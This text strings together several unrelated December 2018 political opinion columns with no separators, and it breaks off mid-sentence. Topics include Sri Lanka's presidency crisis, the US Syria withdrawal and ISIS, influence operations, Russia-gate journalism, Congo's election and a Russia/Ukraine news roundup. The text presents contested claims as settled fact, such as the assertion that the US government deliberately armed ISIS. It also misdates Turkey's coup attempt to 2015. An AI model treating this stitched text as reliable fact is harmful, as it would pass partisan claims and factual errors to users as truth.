the constitution. Going by the political undercurrents of the past 55 days, it appears that the crisis or the conflict President Maithripala Sirisena unleashed on October 26 is still not over. But it has rekindled the debate on the abolition of the executive presidency. Suddenly, there seems to be an urgent need to bring in more constitutional provisions to check the presidents excesses. The irony is that the United National Party, which introduced the executive presidency through a new constitution in 1978, is now calling for its abolition, while the Sri Lanka Freedom Party has now become its main advocate though it earlier opposed the executive presidency on the basis that it would undermine the democratic structure of Sri Lankas post-independence government. Against the backdrop of the Supreme Courts December 13 ruling that the Executive President had acted illegally and violated the constitution, lawmakers in parliament this week argued in favour of and against the executive presidency. Government and Janatha Vimukthi Peramuna MPs urged that the executive presidency should be abolished, given the temptation of the Presidents to resort to undemocratic and unconstitutional measures. United Peoples Freedom Alliance (UPFA) MPs insisted that it should be retained at least with enhanced checks and balances to ensure the territorial integrity of the country. " Thanks to the 19th Amendment, Prime Minister Wickremesinghe could withstand the presidential salvos against all odds, and defeat the constitutional coup" The need of the hour, however, is to eliminate backdoor avenues and plug loopholes to avert constitutional dictatorship, the types of which was seen during the 52-day crisis created by President Sirisena -- and also during the presidency of Mahinda Rajapaksa, who, by introducing the 18th Amendment, suffocated the democratic spirit of the constitution. Sadly, the war-winning President Rajapaksa, who built his political career by promoting himself as a defender of human rights, especially during the 1988-89 era of terror, is now known the world over as a strongman certainly not a flattering description. It is a term used by political analysts to describe a military or political figure who exercises far more influence over the government than the constitution permits. World history may not be kind to Sirisena and Rajapaksa. It will not enshrine their names as defenders of democracy, if they continue to be adamant in not seeing the virtues of democracy. Prior to the adoption of the 1978 constitution, many a warning was sounded about the threats it could pose to democracy. A seasoned politician of yesteryear rightly said that he dreaded to think the consequences if a mentally unbalanced person became the President and was to enjoy the virtually unlimited and unchecked powers associated with the office. The power the executive presidents wield is a trust the people place in them in terms of a social contract. But Sri Lankas executive presidents, from J.R. Jayewardene to Maithripala Sirisena, perhaps the only exception being D.B. Wijetunga, have abused that power, so much so that every succeeding president became a bigger tyrant than his or her predecessor. The problem is not over whether a constitution is good or bad, but whether the politicians who wield the power are good or bad. As this column has said before, a constitution, however good it is, can be bad in the hands of a bad leader, while a constitution, however bad it is, can be good in the hands of a good leader. Sri Lankas 40-year tryst with the executive presidency, especially in the context of the current political crisis, is not a pleasant experience. Either it should be abolished or more checks and balances need to be introduced, so that there will be stability even when a cohabitation government is in power. The JVPs proposed 20th Amendment is indeed a step in the right direction. Sri Lankas experiment with cohabitation governments paints a dismal picture. The fact that cohabitation governments have miserably failed is proof enough that our leaders are power-hungry. Rather than coming together for the benefit of the people and the country, our politicians are interested in enhancing their political power and for this purpose, they have no qualms about abusing the constitutional powers and taking cover behind warped interpretations of the constitution. Sri Lankas constitution is neither exclusively presidential, nor purely Westminster. It is a hybrid system which can, at times, bring about a cohabitation government. Political cohabitation is a form of governmental arrangement between the executive president and a rival party prime minister. "Suddenly, there seems to be an urgent need to bring in more constitutional provisions to check the presidents excesses" In the absence of clear-cut constitutional provisions, cohabitation governments are usually associated with political backstabbing. In Sri Lanka, this was first witnessed in 2001, when Prime Minister Ranil Wickremesinghes UNP-controlled Parliament was dissolved by President Chandrika Kumaratunga before parliament completed its six-year term, though she had promised she would not do so as long as the UNP had the majority in Parliament. It happened again on October 26 this year, and we all know the political turmoil came after that. Thanks to the 19th Amendment, Prime Minister Wickremesinghe could withstand the presidential salvos against all odds, and defeat the constitutional coup. But the battle, it appears, is not yet over. In recent decades, this country has seen disaster after disaster, natural and man-made, economic and political. On top of these problems, the political crisis the President has created has dealt a devastating blow to the economy. We do not need any more disasters. What we urgently need is development that will free us from the shackles of poverty and provide jobs for our youths. For this, we need to ensure political stability. Under the present constitution, cohabitation governments have proved a failure and cannot ensure that political stability. The 1978 constitution has not delivered political stability, though it was drafted and adopted for that purpose. We need to go for a new constitution that will make prime minister the head of government and the president, who will be appointed by Parliament or an electoral college, the head of state like in India and Pakistan. We need a constitution that will promote development and that will contain provisions to solve the countrys ethnic issue through meaningful devolution of power. At 11:52AM on Wednesday, December 19th, CBS News headlined "White House orders Pentagon to pull troops from Syria immediatelyand reported that, Rep. Adam Kinzinger, a veteran of the US Air Force who served in Iraq and Afghanistan and now serves on the House Foreign Affairs Committee, said it's simply not true [which Trump, had said there, that] ISIS is defeated in Syria. CBS News didnt indicate which political Party Kinzinger represents, but he is a Republican, and he represents the rural Illinois 16th Congressional District, where Donald Trump had beaten Hillary Clinton by a 17% margin in 2016. So, Kinzinger is an anti-Trump Republican on this matter. Hes credible about that, not partisan about it. Who is telling the truth, Trumps We have defeated ISIS in Syria or Kinzingers contrary, and what explains the contradiction between the accounts by Trump and Kinzinger? As the CBS News report says, Two weeks ago, Special Envoy Brett McGurk said the end of ISIS will be a long-term initiative, and "nobody is declaring mission accomplished. CBS's report, however, fails to note that McGurk is an Obama appointee and has been consistently dedicated to Americas defeating Russia and replacing the leadership in all nations that are allied with (or even friendly toward) Russia, including, most especially, Syria and Iran. At a deeper level, the question is: Which nations are primarily the cause of the considerable reduction in ISIS forces in Syria? If ISIS has been defeated in Syria, then, nonetheless, is it true for Trump to claim, We have defeated ISIS in Syria, or is the United States not even the main force which has done that? On 30 September 2015, CNN headlined Russia launches first airstrikes in Syria and reported that, Claiming to target ISIS, Russia conducted its first airstrikes in Syria, while US officials expressed serious doubts Wednesday about what the true intentions behind the move may be. The next day, on October 1st, PBS bannered "Mike Morell, former deputy director of the CIA, talks about why Russia deployed airstrikes in Syria, and Morell, who had always been speaking and writing against Russia and against any Government that is at all allied with Russia, said: "President Putin believes that if President Assad were to depart the scene, there would be even more instability in Syria and, with that greater instability, ISIS would have more running room, and you could actually end up with ISIS in Damascus. So that is the primary reason he's doing what he is doing. Now, the question is why doesnt he just attack [only] ISIS then because President Assad is under attack from a variety of different groups? ISIS is one, al-Nusra [Al Qaeda in Syria] is one, and the moderate opposition is another. So in order to prop up Assad to keep him in control, to make sure you dont have more instability, he wants to attack all of those groups, right. But his fundamental focus is on ISIS. But, then, he argued for US President Barack Obamas position, against Russias bombing campaign in Syria: If we were to have a transition from Assad to another government that everybody can agree on, then were actually going to have more stability in Syria. And I think the President probably argued that as long as Assad is around, he is a magnet for fighters to join ISIS, to join al-Nusra to fight Assad. And you cant ultimately defeat ISIS and defeat al-Nusra without getting rid of President Assad in the process. So: Morell acknowledged that Putins main target was ISIS, but Morell said that Obama was correct to oppose Russias bombing campaign there, because you can't ultimately defeat ISIS and defeat al-Nusra without getting rid of President Assad in the process. Then, he said, of Putin, this guy is a thug. This guy is a bully. But he said that, unfortunately, America must deal with that bully: "first thing we have to convince the Russians of is that you cant successfully deal with ISIS and al-Nusra without Assad going away. We have to be able to convince them of that. We really believe that. We really believe that. We really believe that he is a magnet for drawing people to ISIS and to al-Nusra. He was saying that Assad had caused ISIS, which was trying to overthrow and replace him. Then, on 9 October 2015, investigative journalist Tony Cartalucci bannered The Mystery of ISIS Toyota Army Solved and he documented that ISIS had gotten its Toyota pickup trucks from the US-backed Free Syrian Army, whom Obama called moderate rebels. Whether the FSA had ever had those trucks wasnt known. Then, on 14 October 2015, the Financial Times bannered Isis Inc: how oil fuels the jihadi terrorists and reported that, Oil is the black gold that funds Isis black flag it fuels its war machine, provides electricity and gives the fanatical jihadis critical leverage against their neighbours. Selling crude is Isis biggest single source of revenue. While al-Qaeda, the global terrorist network, depended on donations from wealthy foreign sponsors, Isis has derived its financial strength from its status as monopoly producer of an essential commodity consumed in vast quantities throughout the area it controls. Then, on 16 November 2015, the New York Times bannered US Warplanes Strike ISIS Oil Trucks in Syria and reported that, United States warplanes for the first time attacked hundreds of trucks on Monday that the extremist group [ISIS] has been using to smuggle the crude oil it has been producing in Syria, American officials said. Until Monday, the United States refrained from striking the fleet used to transport oil, believed to include more than 1,000 tanker trucks. Two days later, on November 18th, the Pentagon said at a press conference, that This is our first strike against tanker trucks of ISIS. Moreover, on November 24th, Zero Hedge bannered 'Get Out Of Your Trucks And Run Away: US Gives ISIS 45 Minute Warning On Oil Tanker Strikes and reported that the US Government were doing this oil-tanker-truck bombing only for show, because Russia had actually started the serious effort to conquer ISIS in Syria, and so the US needed to do something, for PR purposes. Yet, further evidence also exists that the US Government supported ISIS against Syrias Government: On 24 March 2013, the New York Times bannered Arms Airlift to Syria Rebels Expands, With Aid From C.I.A., and reported that From offices at secret locations, American intelligence officers have helped the Arab governments shop for weapons, and that A conservative estimate of the payload of these flights would be 3,500 tons of military equipment, said Hugh Griffiths, of the Stockholm International Peace Research Institute, who monitors illicit arms transfers. The US Government tried to hide its involvement in this, by doing it through allied Arab governments, which were named in this news-report: Qatar and Saudi Arabia had been shipping military materials via Turkey, and all four of these Governments (US, Sauds, Turkey, and Qatar) were trying to overthrow Syrias Government. Then, on 8 September 2014, AFP headlined Islamic State fighters using US arms: study, and they reported that the US Government was supplying ISIS. On 1 September 2017, Russian Television reported that the US Government was secretly supplying weapons to ISIS and that an anti-Assad fighter had even quit the CIA-backed New Syrian Army because of that. US President Barack Obama started the US policy to arm ISIS, and it was continued under the current US President. There is considerable other evidence that the US Government has invaded, and been occupying, parts of Syria, solely in order to replace Syrias Government by one that would be controlled by the Saud family, who own Saudi Arabia. It is definitely a lie for Trump to say: We have defeated ISIS in Syria. A big turn in these events had been the failed 15 July 2015 coup-attempt, to overthrow Turkeys Government, and which Turkeys President, Tayyip Erdogan, says was engineered by the Gulen organization headquartered in the US, which is connected to and protected by the CIA. After July 15th, Turkey increasingly has allied with Russias Government, against Americas Government. The present withdrawal of the US Government from Syria is actually due to the success of Vladimir Putins and Tayyip Erdogans plan (which I described on 10 September 2018, and which they jointly announced a week later, on September 17th) for Turkey to handle the military task of conquering the jihadists in Syrias Idlib province and of Turkeys forces then moving eastward to compel the US Government to end its occupation of northeastern Syria that nations crucial oil-producing region. If Russias troops, instead of Turkeys, were to do that task, it would risk bringing on a US-Russia war, but, since Turkey is still in NATO, that danger doesnt exist when Turkish troops and armor (backed by Russian air-power) do that highly sensitive job. Instead of We have defeated ISIS in Syria, the truth, from the US Government, would be We have been defeated in Syria. However, Putin (and Erdogan, and maybe even Assad) will not be crowing about their victory. Syrias Government has successfully resisted the US Governments effort, since 2009, to replace Syrias Government by one that would be controlled by the Sauds. The Rand Corporation defines America's influence operations as the coordinated, integrated, and synchronized application of national diplomatic, informational, military, economic, and other capabilities in peacetime, crisis, conflict, and post-conflict to foster attitudes, behaviors, or decisions by foreign target audiences that further US interests and objectives. In this view, influence operations accent communications to affect attitudes and behaviors but also can include the employment of military capabilities, economic development, and other real-world capabilities that also can play a role in reinforcing these communications. In a world where communications and social networks are global and accessible to many ordinary people, influence operations are the bread-and-butter of many intelligence agencies as a means of waging low intensity warfare against adversaries. During the past week there have been two accounts of how influencing foreign audiences has worked in practice, one relating to Russia and one to Great Britain. The Russian story is part of the continuing saga of Russiagate. On Monday, the Senate Intelligence Committee released two reports on Russian operations before during and after the 2016 election to influence targeted groups, to include African-Americans, evangelical Christians and Second Amendment supporters to confuse voters about what the candidates stood for. Russia Internet Research Agency, headed by Yevgeny V. Prigozhin, alleged to be a friend of President Vladimir Putin, reportedly coordinated the effort. The New York Times, slanted in its coverage of the story, claiming that Moscow was weaponizing social media and that it was intended to support the candidacy of Donald Trump who had a Russian blind spot and an army of supporters willing to believe convenient lies and half-truths. They also dubbed it a singular act of aggression that ushered in an era of extended conflict. Of course, one might note that in 2016 the Times itself had a blind spot regarding Hillary Clinton compounded by a bias against Trump and his deplorable supporters, while one must also point out that Russian intentions are unknowable unless one were a fly on the wall inside the Kremlin when the US election was under discussion, so one might conclude that the newspaper is itself spreading something like disinformation. It is undoubtedly true that Russia had a vital national interest in opposing Clinton, whose malevolent intentions towards Moscow were well known. It is also undoubtedly true that there was a campaign of manipulation of social networks by the Kremlin and its proxies to influence readers and also to assess the development of the two major party campaigns. But it also should be observed that the claim that it was seeking to suppress Democratic voters is not really borne out given the other much more conservative demographics that were also targeted. Indeed, involvement by Russia did not alter the outcome of the election and may have had virtually no impact whatsoever, so the claims by the Times that the world is seeing a new form of warfare is clearly exaggerated to reflect that papers editorial stance. The fact that the Times is trying to make the news rather than reporting it is clearly indicted by its sheer speculation that The Internet Research Agency appears to have largely sat out the 2018 midterm elections, but it is likely already trying to influence the 2020 presidential election, in ways social media companies may not yet understand or be prepared for. And Russia is just the beginning. Other countries, including Iran and China, have already demonstrated advanced capabilities for cyberwarfare, including influence operations waged over social media platforms. It is certainly convenient to have all ones enemies collectivized in two sentences, but the Times manages that quite neatly. The second story, much less reported in the US media, relates to how the British intelligence services have been running their own disinformation operations against Russia, also using social networks and the internet. The British government has been financing a program that was given the name Integrity Initiative. It has been tasked with creating and disseminating disinformation relating to Russia in order to influence the people, armed forces and governments of a number of countries that Moscow constitutes a major threat to the west and its institutions. Former British intelligence officer and established Russo-phobe Christopher Nigel Donnelly (CND) is the co-director of The Institute for Statecraft and founder of its offshoot Integrity Initiative. The Initiative ironically claims to "Defend Democracy Against Disinformation. According to leaked documents, the Initiative plants disinformation that includes allegations about the Russian threat to world peace using what are referred to as journalists 'clusters' in place both in Europe and the United States. Even though the Institute and Initiative pretend to be independent Non-Government Organizations (NGOs), they are both actually supported financially by the British government, NATO and what are reported to be other state donors, possibly including the United States. The Integrity Initiative aside, the United States has also long been involved in influence operations, sometimes also referred to as perception management. Even before 9/11 and after the breakup of the Soviet Union the State Department, Pentagon and National Security Agency were all active on the internet in opposing various adversaries, to include terrorist groups. The CIA has been spreading disinformation using paid journalists and arranging foreign elections since 1947. Sometimes US federal government agencies are operating openly, but more often they are using covert mechanisms and cover stories to conceal their identities. Americas internet warriors are adept at spreading misinformation aimed at target audiences worldwide. The fact is that spreading disinformation and confusion are what governments and intelligence services do to protect what they consider to be vital interests. It is naive for the US Senate and Americas leading newspapers to maintain that intelligence probing and other forms of interference from Russia or China or Iran or even friend Israel occur in a vacuum. Everyone intrudes and spreads lies and everyone will continue to do it because it is easy to understand and cheap to run. In the end, however, its effectiveness is limited. In 2016 the election result was determined by a lack of trust on the part of the American people for what the establishment politicians have been offering, not because of interference from Moscow. Ray McGOVERN Last Saturday, veteran Washington journalist Michael Isikoff began a John Ehrlichman/Watergate-style modified limited hangout regarding the embarrassing overreach in his Russia-gate collusion reporting. He picked an unctuous, longtime fan, radio host John Ziegler, to help him put some lipstick on the proverbial pig. Even so, the interview did not go so well. Those who can muster some residual empathy for formerly serious reporters who have gotten Russia-gate so wrong, may feel genuine sadness at this point. Those fed up with pretense, unprofessionalism, and dodging, however, will find it hard to listen to the audible squirming without a touch, or more, of Schadenfreude the word Germans use to denote taking joy at the misfortune of others. In a word, it proved hard to square the circle inside which Isikoff and other Russia-gate aficionados have been living in for more than two years after last weeks disclosures. Zieglers repeated expressions of admiration for Isikoffs work, plus his softball questions, utterly failed to disguise Isikoffs disappointment that Robert Muellers Russia-gate investigation is not where a lot of people would like it to be. A lot of people includes Isikoff. Commenting on the trove of legal and other documents now available, Isikoff pretty much conceded that he and his co-writer, journalist David Corn were, in effect, impersonating serious investigative journalists when they published in April 2017 their gripping Russia-gate chef doeuvre: Russian Roulette: The Inside Story of Putins War on America and the Election of Donald Trump. Steele Dossier Isikoff: Steele not verified (Twitter) Aware of the credulity given by Isikoff and Corn to the Steele dossier, Ziegler began with what he apparently thought was a soft-ball observation/question. Would you agree that a lot of what is in the Steele Dossier has been at least somewhat vindicated? No, said Isikoff flatly. The conversation turned to so-called logical explanations for leaps of faith rather than analysis. Unsubstantiated accusations, like the so-called pee-tape Isikoff now says is likely false. A modified limited hangout is when someones cover story is blown and some truth needs to be divulged to deflect further inquiry. Isikoffs begins at the 26:50 mark and goes on, churning ones stomach for 30 minutes. A better subtitle for Isikoff and Corns book might be Based on What We Wanted to Believe Was a True Story. Isikoff told Ziegler that unless Saint Robert Mueller, as Democrats see him, can summon a Deus ex Machina to provide some actual evidence linking Trump or his campaign to collusion with Russia, former Isikoff acquaintances, like me, might legitimately ask, What the hell happened to you, Mike? Isikoff and Corn have done some serious work together in the past. Their 2006 book, Hubris: The Inside Story of Spin, Scandal, and the Selling of the Iraq War was an accurate chronicle of the Cheney/Bush March of Folly into Iraq. That was also against a Republican administration. But they had interviewed people from both sides of the issues. Though neither were fans of George W. Bush, they backed up their work with facts. Russian Roulette is a different story. It reads now like desperation to confirm what the authors hoped Mueller would find. He has failed them. Is This Journalism? Who can adequately explain the abject loss of journalistic standards when it comes to Russia-gate? For Isikoff and Corn, as for other erstwhile serious journalists, there should be more crow than ham or turkey to eat in the weeks ahead. Others come to mind: Jane Mayer of The New Yorker; James Risen, formerly of The New York Times; and lesser lights like McClatchys Greg Gordon; Marcy Wheeler, Amy Goodmans go-to Russia-gate pundit atemptywheel.net; and extreme-partisan Democrat Marc Ash, who runs Reader Supported News. Many had pinned their hopes on Trumps 24-day national security adviser, Gen. Michael Flynn, to supply grist for the collusion mill. That increased when word came hed met 19 times with Muellers investigators as a cooperative witness. Yet, something didnt gel. Prosecutors said theyd go light on Flynn. In (and Out) Like Flynn Flynn: In or out of jail? (Flickr Gage Skidmore) Philip Ewing, the apparent odd-man-out at National Public Radio, observed Saturday: Does that sound like the attitude they [the prosecutors] would take with someone who had been serving as a Russian factotum and who had been serving as a foreign agent from inside the White House as national security adviser, steps away from the Oval Office? Flynn was supposed to be sentenced for lying to the FBI on Tuesday. By afternoon, however, Federal District Court Judge Emmet G. Sullivan postponed the sentencing until at least March. The judge said he was disgusted by Flynns very serious crimes but later apologized from the bench for asking whether his actions might have been treasonous. He gave Flynn the option of delaying sentencing until he had completed his cooperation with federal prosecutors, and Flynn agreed. But Sullivan remained adamant that Flynn could still end up in jail. If His Honor takes the time to read Professor Jonathan Turley, of the George Washington University Law School, about Comey-endorsed FBI tactics and not confine his reading solely to the Washington Post it seems a safe bet he will give Flynn a stay-out-of jail card. In an early morning tweet Tuesday, Trump wished Flynn good luck and commented: Will be interesting to see what he has to say, despite tremendous pressure being put on him, about Russian Collusion. How can one interpret this? Either Mueller and his score of investigators were unable to get Flynn to spill the beans on collusion or could it be possible? there are no beans to spill. Hold That Line As for Isikoff and Corn, their profession such as it is these days can be expected to circle the wagons and give them the immunity granted 15 years ago to the faux-journalists who pushed the Weapons of Mass Destruction (WMD) deception so hard even after no WMD were found in Iraq. Indeed, in recent days The New York Times and Washington Post have launched what looks like a stepped-up pre-emptive attack, lest readers start to doubt their rendering of Russia-gate. The headlines and the drivel that follow have been caricatures of journalism. Be not misled about Russia-gate, The Washington Post editorial board wrote Tuesday morning. It is no longer disputable. The analogy with mainstream media regurgitating fraudulent facts on Weapons of Mass Destruction before the invasion of Iraq is complete. How many recall then-Secretary of State Colin Powell telling the world on February 5, 2003 that his evidence and conclusions were irrefutable and undeniable. Hardly New John Swinton, a prominent journalist in New York in 1880, at a banquet, reportedly responded to a toast to the independent press, by saying: There is no such thing as an independent press. You know it and I know it. What folly is this toasting an independent press? We are the tools and vassals of rich men behind the scenes. We are the jumping jacks; they pull the strings and we dance. Our talents, our possibilities and our lives are all the property of other men. We are intellectual prostitutes. Plus ca change consortiumnews.com by Austin Bay December 19, 2018 If you think the Democratic Republic of Congo's Dec. 23 national elections will never touch your life, please contemplate the following factors indicative of the tight-knit and complex troubles we confront on 21st-century Earth. Consider the great Congo War's bloodbath. This column lacks a camera that could provide photographic substantiation, but I'll do my best to describe the body count, quantitatively and comparatively. Some astute types distinguish two Congo wars on the cusp of the millennium. Contrarians -- I among them -- argue the mass murder never stopped, so the great war (roughly 1996 to 2003) rates as one catastrophe. Estimates vary, but 3 million to 5 million human beings perished. For the most part, the butchery unfolded beyond mainstream media. Gutsy medical aid activists, some Reuters and Agence France-Presse stringers with cellphones and a handful of combat reporters witnessed enough carnage to document the anarchic massacre. If the 3 million figure is accurate, that means Congo's horror exceeded Cambodia's Killing Fields genocide (circa 1975-1979). What gave the Killing Fields an awareness boost in global media? A Cambodian survivor worked for a major western newspaper. I make this point not to disparage the man's immense suffering or his courage, but to illustrate how information on these distant events is contingent. Global media rely on articulate and connected sources. With exceptions, Congo's victims lacked both. Activists with long-term experience in Congo suspect 5 million dead is more accurate. But in my opinion, debating 3 million vs. 5 million human corpses constitutes amoral statistical myopia in the face of evident genocidal horror. Ultimately, the U.N. inserted a peacekeeping force that eventually deployed over 20,000 soldiers. Some 17,000 or so are still deployed. Unfortunately, U.N. observers and buffer forces didn't end Congo's killing. So the U.N. Security Council authorized offensive operations by peacekeepers. In 2013, the U.N.'s Force Intervention Brigade attacked rebel belligerents and in doing so took sides. The U.N. wasn't neutral. Instead, U.N. military power supported the Congolese government in Kinshasa. Doesn't touch your life? Hang on. Attention Chinese car buyers and North Americans who exalt electric vehicles and condemn petrol-powered transport: Congo's election matters because Congo's extraordinary cobalt deposits and annual cobalt production have strategic international value and therefore long-term strategic implications that will eventually affect your lifestyles or threaten your lives. Why? Manufacturing the electric engine powering China's small "urban" electric car takes 22 pounds of cobalt. That's why China imports at least 80 percent of Congo's annual output. Other pertinent facts: China is an expansionary power pursuing territorial acquisition in East Asia and the South China Sea, and arguably in the Himalayas. China is exerting diplomatic and economic power in southwest Asia and Africa and is probing Europe, too. But China's people want modern goodies and cool stuff, like iPhones and electric cars. They will ignore Communist Party oppression if Beijing's dictators provide high-tech rewards. So great power China has vital international and domestic political interests in Congo. Hence the knotty Congolese election. Congolese President Joseph Kabila is a corrupt thug whose family and cronies steal Congo's mineral wealth. Kabila's decision to delay the 2016 national elections and in remain office violated fundamental constitutional law ("constitution of the Third Republic," 2006). The constitution he violated was based on the agreement that ended the Great Congo War. Kabila's handpicked successor is now favored to win the election. A puppet successor won't satisfy the Congolese angry at Kabila's corruption, violence and disdain for the law. Moreover, Kabila has indicated he will try to return to the presidency in the next decade. The stage is set for another civil war -- this time with great power implications. How will U.N. forces react if Kabila's crony wins the election? We live in interesting times. American officials confirmed reports that Russia had greatly increased the military forces it has on or near the Ukrainian border. It was also pointed out that Russia has been working on this buildup for years and part of it is a reorganization of its army to form reserve units and station them (or at least their equipment) in border areas, as was done during the Cold War. Back then much of that equipment was stored in Ukraine because Ukraine was a major frontier zone. Ukraine never liked being part of Russia and eagerly joined the uprising in 1991 that led to the dissolution of the Soviet Union and freedom for Ukraine after centuries of Russian occupation. Russia sees all this differently and for more than a decade the Russian government has been backing an alternate version of history in which NATO conspired to destroy the Soviet Union and gullible Soviet citizens like those in Ukraine went along and destroyed the Soviet Union from within. Opinion surveys show this version of history has become increasingly accepted by Russians. At the end of 2018, some 66 percent of Russians regretted the dissolution of the Soviet Union. A year ago it was 58 percent but back in 1991 more than half the Soviet population backed dissolution of the union and the population of the centuries old Russian empire declined by about 50 percent. At the time many ethnic Russians were glad to see all these non-Russian parts of the empire become independent because by then it was known that most of these areas cost the more prosperous parts of the Soviet Union (mainly what is now Russia, Belarus and Ukraine) a lot of money to support. But over the decades such details have been suppressed by the state-controlled media and a Russian government that is trying to rebuild the empire. Belarus and Ukraine also had majority Slav populations but always considered Russian conquests and not part of Russia. While the empire rebuilding may be increasingly popular Vladimir Putin, the former KGB officer who started the effort and has been ruling Russian since 1999, is experiencing declining approval and popularity. Since early 2018 the percentage of Russians who hold Putin responsible for the continuing weak economy has gone from 50 percent to 61 percent. In the last year, the percentage of Russians who would reelect Putin has gone from 66 percent to 56 percent. Now Putin is escalating Russian aggression in Ukraine by challenging international treaties that guarantee free access to the Sea of Azov. Aside from China (which is guilty of the same thing in the South China Sea) Russia is not getting much diplomatic support for this and several NATO nations are moving warships to the Black Sea and increasing their military aid for Ukraine. While the unexpected boom in American natural gas and oil production is partially responsible for Russias economic problems the aggressive attitude towards NATO and former Soviet possessions (like Ukraine and Soviet-occupied East European nations) are the reason for the sanctions and increasing unwillingness of European nations to do business with Russia. This is a major problem because Europe is a major customer for Russian natural gas. Russia and Germany are building a new natural gas pipeline that will bypass Ukraine (and make it easier for Russia to cut natural gas supplies to Ukraine) and Europeans are looking for other suppliers. The Germans are under growing pressure to drop out of the new pipeline deal because it makes Europe more vulnerable to Russian coercion. The Americans are offering cheaper and more reliable supplies of liquefied natural gas and Poland recently signed a long-term contract for that. Israel is offering natural gas via an underwater pipeline from its new offshore gas fields. Russia is making deals with China to ship natural gas east instead of west it will take time (over a decade) and a lot of money (which Russia does not have) to make the switch. As more Russians realize that this natural gas problem was self-inflicted by the Putin war on NATO his approval ratings are going to suffer some more. Putin, or a surrogate, is up for reelection in 2024. Tick Tok. Syria Israeli military leaders believe they are winning their battle to keep Iran from establishing a permanent presence in Syria. This has been achieved via a combination of force (air and artillery strikes on Iranian forces in Syria) and diplomacy (convincing Russia to persuade Iran to keep their forces away from the Israel border or suffer Israeli attacks the Russians will not interfere with). Other diplomatic activities involved the Americans and Arab nations. There is general agreement by Israel and their Arab allies that the forces Iran has assembled in Syria and Lebanon are a far greater threat than Hamas in Gaza. But this war is not yet won and whether it is depends more on what happens in Iran. As a practical matter, no one is really winning in Syria. The Turks are thwarted (by the U.S.) in their effort to destroy the military power of the Syrian Kurds. Turkey still has a problem with over a million potential refugees in Idlib province trying to get into Turkey if the Idlib showdown cannot be settled peacefully). Syria and Iran dont care if there is a bloodbath in Idlib they just want to get it over with. No wonder Turkey doesnt get along with Iran and their sidekick Syria. Russia is in Syria mainly to sell its new and expensive weapons and create some positive propaganda for the folks back home. That is done by not doing anything that makes Russia look foolish or gets Russian troops killed. That is difficult to do with allies like Iran, Syria and the current Turkish government. Russia does not want to fight anyone who can fight back; especially Israel or the Americans. At the same time Russia wants to appear unafraid of the Israelis and Americans. ISIL (Islamic State in Iraq and the Levant) is still around as are many less fanatic Islamic terrorists. The Americans are preparing to pull their 2,000 troops out of Syria but not their support for the large force of Syrian Kurds who did most of the fighting to destroy the ISIL presence in eastern Syria. December 19, 2018: Ukraine is going to send more warships to the Kerch Strait, this time with OSCE and other international observers on board. Russia is illegally blocking access to the Sea of Azov. The OSCE (Organization for Security and Cooperation in Europe) observer teams continue operating in eastern Ukraine (Donbas) and keep reporting violations (of ceasefire and other agreements). There are often thousands of violations a week. Russia simply denies it, calling the photos and witness accounts contrived. The OSCE personnel are still targets for rebel fire. The 600 OSCE staff (most of them roving monitors) in eastern Ukraine and Donbas, whose job is to oversee the ceasefire, have been complaining since 2015 that they are being restricted by rebels and, less frequently Ukrainian forces from carrying out inspections. There are satellite photos available as a backup and local sources on the ground. Russia believes that because the front lines have not moved much in years, they can do what they want with no consequences. Despite that attitude, the Russian operation in Donbas is falling apart. Morale among the Ukrainians who agreed to keep the rebellion going is bad and getting worse. More and more of the rebel activity in Donbas is carried out by Russians pretending to be Ukrainian rebels. The Russian government apparently believes it will ultimately win but does not have a clear idea of when or how. Ukraine also reported that 2,914 have died fighting the Russians since 2014. Nearly all these deaths occurred in eastern Ukraine (Donbas) where Russian forces have been stalled in their efforts to seize all the territory of the two provinces that comprise the Donbas region. Earlier in 2014 the Russians were successful in grabbing all of Crimea and that area is considered, by most of the world as illegally under occupation by Russian forces. December 18, 2018: Diplomats from Russia, Iran and Turkey decided they were stalemated at a meeting in Switzerland. This is a UN sponsored conference to decide who shall be on the Constitutional Committee that will create a new constitution for Syria. The three nations could not agree on several dozen of the 150 committee members. The three nations will try again in early 2019. This committee is the result of a UN proposed compromise that includes a new constitution and monitored elections in Syria to form a new government. Iran wants to ensure that the Assads retain power, Turkey wants someone elected who has popular support and Russia will back whoever seems to have the best chance of getting on the committee. December 17, 2018: A British Royal Navy ship, HMS Echo, has entered the Black Sea as part of a British effort to assist Ukraine in resisting Russian efforts to control access to the Sea of Azov. HMS Echo is a combat support survey ship that provides submarines and amphibious ships data on underwater topography. This can be done in real time and relayed to other ships and surfaced submarines. Echo is only armed with a 20mm autocannon and 7.62mm machine-guns. In the next month or so British warships will arrive along with a contingent of Royal Marines and soldiers to train their Ukrainian counterparts. American warships are also on the way. December 15, 2018: Russia reported that the new Yars ICBM regiment is complete and all ten missiles are in their silos at Kozelsk. While Russian media reported that as good news it did mention that the Yars deployment was apparently delayed a year for unexplained reasons. A year ago, in late 2017, another test of the RS-24 Yars ICBM was conducted. The missile was fired from Plesetsk in northern Russia to a target area 6,000 kilometers (half the max range) away in the Kamchatka peninsula on the Pacific coast. The test was considered a success but foreign observers were not so sure. Russia is in the midst of replacing Cold War era RS-18 (SS-19) missiles with the new solid fuel RS-24 but it still occasionally test fires one of all types of ICBMs, including the remaining RS-18s. The RS-24 is fired from silos and mobile (rail or truck) transporters. Russia began replacing RS-18 in 2010 but just in case they were needed later, dozens of the RS-18s (which first entered service in 1974) were put in storage and only 30 remain in service. December 10, 2018: For the third time, Russia has sent two of its Tu-160 bombers to Venezuela. Getting there involves 13 hours of flying to travel over 12,000 kilometers. Following the arrival, the Tu-160s carried out a ten-hour tour of the Caribbean escorted by some Venezuelan F-16s. This sort of thing is basically a training exercise. This flight was accompanied by an Il-62 airliner (with additional crews, maintenance personnel, media reps and diplomats) and an An-124 heavy transport, carrying maintenance gear the Tu-160 needs on the ground. Russian Tu-160s did this in 2013 and in 2008, flying the name route from northern Russia to northern Venezuela. These flights are publicity stunts that serve little military purpose (except to give Norwegian and British fighters some practice intercepting Cold War vintage aircraft as they head for the high seas.) The Cold War era Russian maritime air patrols were marginally useful back then, but are pure PR these days. The Tu-160 flights are basically the same, although Tu-160s can carry more weapons, including cruise missiles. Back in 2009, there were discussions about basing long-range maritime recon aircraft (Tu-142) and bombers (Tu-160) in Cuba and Venezuela. This caused an uproar in the Western hemisphere. Cuba and Venezuela expressed interest while there was a less friendly reaction in the United States. The Russian government soon announced that there was never any intention to build bases in South America. Instead, the plan was simply to land there and refuel before flying back to northern Russia. Cuba was such a base during the Cold War, but the maritime recon missions were of limited use because space satellites did the job more efficiently. December 8, 2018: The Philippines has canceled plans to buy Russian helicopters because of the sanctions. Earlier this year Canada also ceased 